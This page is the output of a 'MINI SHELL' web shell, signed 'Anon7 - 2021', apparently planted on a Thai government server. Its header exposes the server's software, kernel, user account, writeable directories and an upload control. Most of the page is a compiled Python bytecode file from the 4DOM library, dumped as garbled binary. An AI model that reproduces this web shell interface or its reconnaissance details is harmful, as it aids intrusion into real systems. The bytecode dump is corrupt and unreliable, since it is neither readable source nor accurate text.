MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/dom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/dom/Element.pyc
mς
·r?c@sΡdZdklZdklZlZdkZdklZdklZdkl	Z	dkl
Z
dklZd	klZd
kl
Z
dklZdklZd
klZlZdefd„ƒYZdS(sΙ
WWW: http://4suite.com/4DOM         e-mail: support@4suite.com

Copyright (c) 2000 Fourthought Inc, USA.   All Rights Reserved.
See  http://4suite.com/COPYRIGHT  for license and copyright information
(simplementation(sFtNodesget_name_patternN(sNode(s
XML_NAMESPACE(sEMPTY_NAMESPACE(sInvalidCharacterErr(sWrongDocumentErr(sInuseAttributeErr(sNotFoundErr(s	SyntaxErr(sNamespaceErr(s
SplitQNamesIsDOMStringtElementcBsmtZeiZeieieieieiei	gZ
d„Zd„Zd„Z
d„Zd„Zd„Zd„Zd„Zd	„Zd
„Zd„Zd„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z!e"i#i$ƒZ#e#i%hde<ƒe"i&i$ƒZ&e&i%hƒe'e&d„e"i(e#i)ƒƒZ(RS(NcCs@ti|||||ƒti|ƒ|i	d<||i	d<dS(Nt__attributest
__nodeName(tFtNodet__init__tselft
ownerDocumenttnamespaceURItprefixt	localNametimplementationt_4dom_createNamedNodeMapt__dict__tnodeName(RRR
RRR	((t8/usr/lib/python2.4/site-packages/_xmlplus/dom/Element.pyR'scCs|idS(NR(RR(R((Rt_get_tagName/scCs'|ii|ƒ}|o
|ipdS(Nt(Rt
attributestgetNamedItemtnametatttvalue(RRR((RtgetAttribute4scCs|ii|ƒS(N(RRRR(RR((RtgetAttributeNode8scCs†tiƒ}ttid„|iƒ}xX|D]P}|djp|i
|jo|i|ƒn|it
|i|ƒƒƒq.W|S(NcCs
|i|jS(N(tnodetnodeTypettype(RR((Rt<lambda>=st*(R
t_4dom_createNodeListtnodeListtfiltertNodetELEMENT_NODERt
childNodestelementstelementttagNametappendtextendtlisttgetElementsByTagName(RR%R#RR$((RR);s cCs|ii|ƒdj	S(N(RRRRtNone(RR((RthasAttributeFscCs.|ii|ƒ}|o|i|ƒndS(N(RRRRRtremoveAttributeNode(RRR((RtremoveAttributeIscCsŒy|ii|i|iƒWn&tj
o|ii|iƒnX|i	dƒ|idd|d|idti
iƒ|idƒ|S(NtDOMAttrModifiedtrelatedNodetattrNamet
attrChangetDOMSubtreeModified(RRtremoveNamedItemNSRRR	tNotFoundErrtremoveNamedItemRt_4dom_setOwnerElementR*t_4dom_fireMutationEventtEventt
MutationEventtREMOVAL(RR((RR,Os
		
cCsŒt|ƒp
tƒ‚ntƒi|ƒp
tƒ‚n|ii	|ƒ}|o
||_n)|ii|ƒ}||_|i
|ƒdS(N(tIsDOMStringRt	SyntaxErrtget_name_patterntmatchRtInvalidCharacterErrRRRtattrRtcreateAttributetsetAttributeNode(RRRR@((RtsetAttribute^s



	c
Csσ|i|ijo
tƒ‚n|id|fjo
tƒ‚n|ii|i	ƒ}|o5|idd|d|id|i	dt
iiƒn|ii|ƒ|i|ƒ|idd|d|id|i	dt
iiƒ|idƒ|S(NR.R/t	prevValueR0R1tnewValueR2(RRRtWrongDocumentErrtownerElementR*tInuseAttributeErrRRRtoldR7RR8R9R:tsetNamedItemR6tADDITION(RRRI((RRBls(

			
			
cCs*|ii||ƒ}|o
|ipdS(NR(RRtgetNamedItemNSRR	R@R(RRR	R@((RtgetAttributeNS†scCs|ii||ƒS(N(RRRLRR	(RRR	((RtgetAttributeNodeNSŠscCsΓ|djotdƒ‚ntiƒ}ttid„|i	ƒ}xx|D]p}|djp|i|jo.|djp|i|jo|i
|ƒn|it|i||ƒƒƒqKW|S(NRs*Use None instead of '' for empty namespacecCs
|i|jS(N(RRR(RR((RR‘sR(RtNamespaceErrR
RRRR R!RR"R#R$R	R&R'R(tgetElementsByTagNameNS(RRR	R#RR$((RRPs
:cCs|ii||ƒdj	S(N(RRRLRR	R*(RRR	((RthasAttributeNSœscCs1|ii||ƒ}|o|i|ƒndS(N(RRRLRR	RR,(RRR	R((RtremoveAttributeNSŸscCs€t|ƒp
tƒ‚ntƒi|ƒp
tƒ‚nt|ƒ\}}|ii||ƒ}|o
||_n,|ii||ƒ}||_|i|ƒdS(N(R;RR<R=R>t
qualifiedNameR?t
SplitQNameRR	RRRLRR@RtcreateAttributeNStsetAttributeNodeNS(RRRSRR@RR	((RtsetAttributeNS¦s



	
c
Csω|i|ijo
tƒ‚n|id|fjo
tƒ‚n|ii|i	|i
ƒ}|o5|idd|d|i
d|idtiiƒn|ii|ƒ|i|ƒ|idd|d|i
d|idtiiƒ|idƒ|S(NR.R/RDR0R1RER2(RRRRFRGR*RHRRLRR	RIR7RRR8R9R:tsetNamedItemNSR6RK(RRRI((RRVΆs(

			
			
cCs/dt|ƒ|it|iƒt|iƒfS(NsB<Element Node at %x: Name='%s' with %d attributes and %d children>(tidRR
tlenRR"(R((Rt__repr__ΠscCs%||id<|idi|ƒdS(Nt__ownerDocumentR(tnewOwnerRRt_4dom_setOwnerDocument(RR]((RR^Ϊs
cCs|i||i|i|i|iƒ}xa|iD]V}|i
|ƒ}|idjo|ii
|ƒn|ii|ƒ|i|ƒq1W|S(N(Rt	__class__townerR
RRR	teRR@t_4dom_clonetcloneR*RJRXR6(RR`RaR@Rc((RRbΰs	
cCs"|i|i|i|i|ifS(N(RRR
RRR	(R((Rt__getinitargs__οscCs|i|ifS(N(RR"R(R((Rt__getstate__χscCsK|\}}ti||ƒ||id<x|D]}|i|ƒq0WdS(NR(tchildrentattrsRt__setstate__RRR@R6(Rt.2RfRgR@((RRhϊs

R%cCs|i|ƒS(N(tmthas_keytk(RlRj((RRs(*t__name__t
__module__R R!Rt	TEXT_NODEtCOMMENT_NODEtPROCESSING_INSTRUCTION_NODEtCDATA_SECTION_NODEtENTITY_REFERENCE_NODEt_allowedChildrenRRRRR)R+R-R,RCRBRMRNRPRQRRRWRVR[R^RbRdReRhRt_readComputedAttrstcopytupdatet_writeComputedAttrsRt_readOnlyAttrstkeys(((RRs>	*																		
					
(t__doc__tDOMImplementationR
RR=R8txml.domR t
XML_NAMESPACEtEMPTY_NAMESPACER?RFRHR4R<ROtextRTR;R(R R4R<RHR
R;R?R8RFRTRRORRR=R~((Rt?s
	










Anon7 - 2021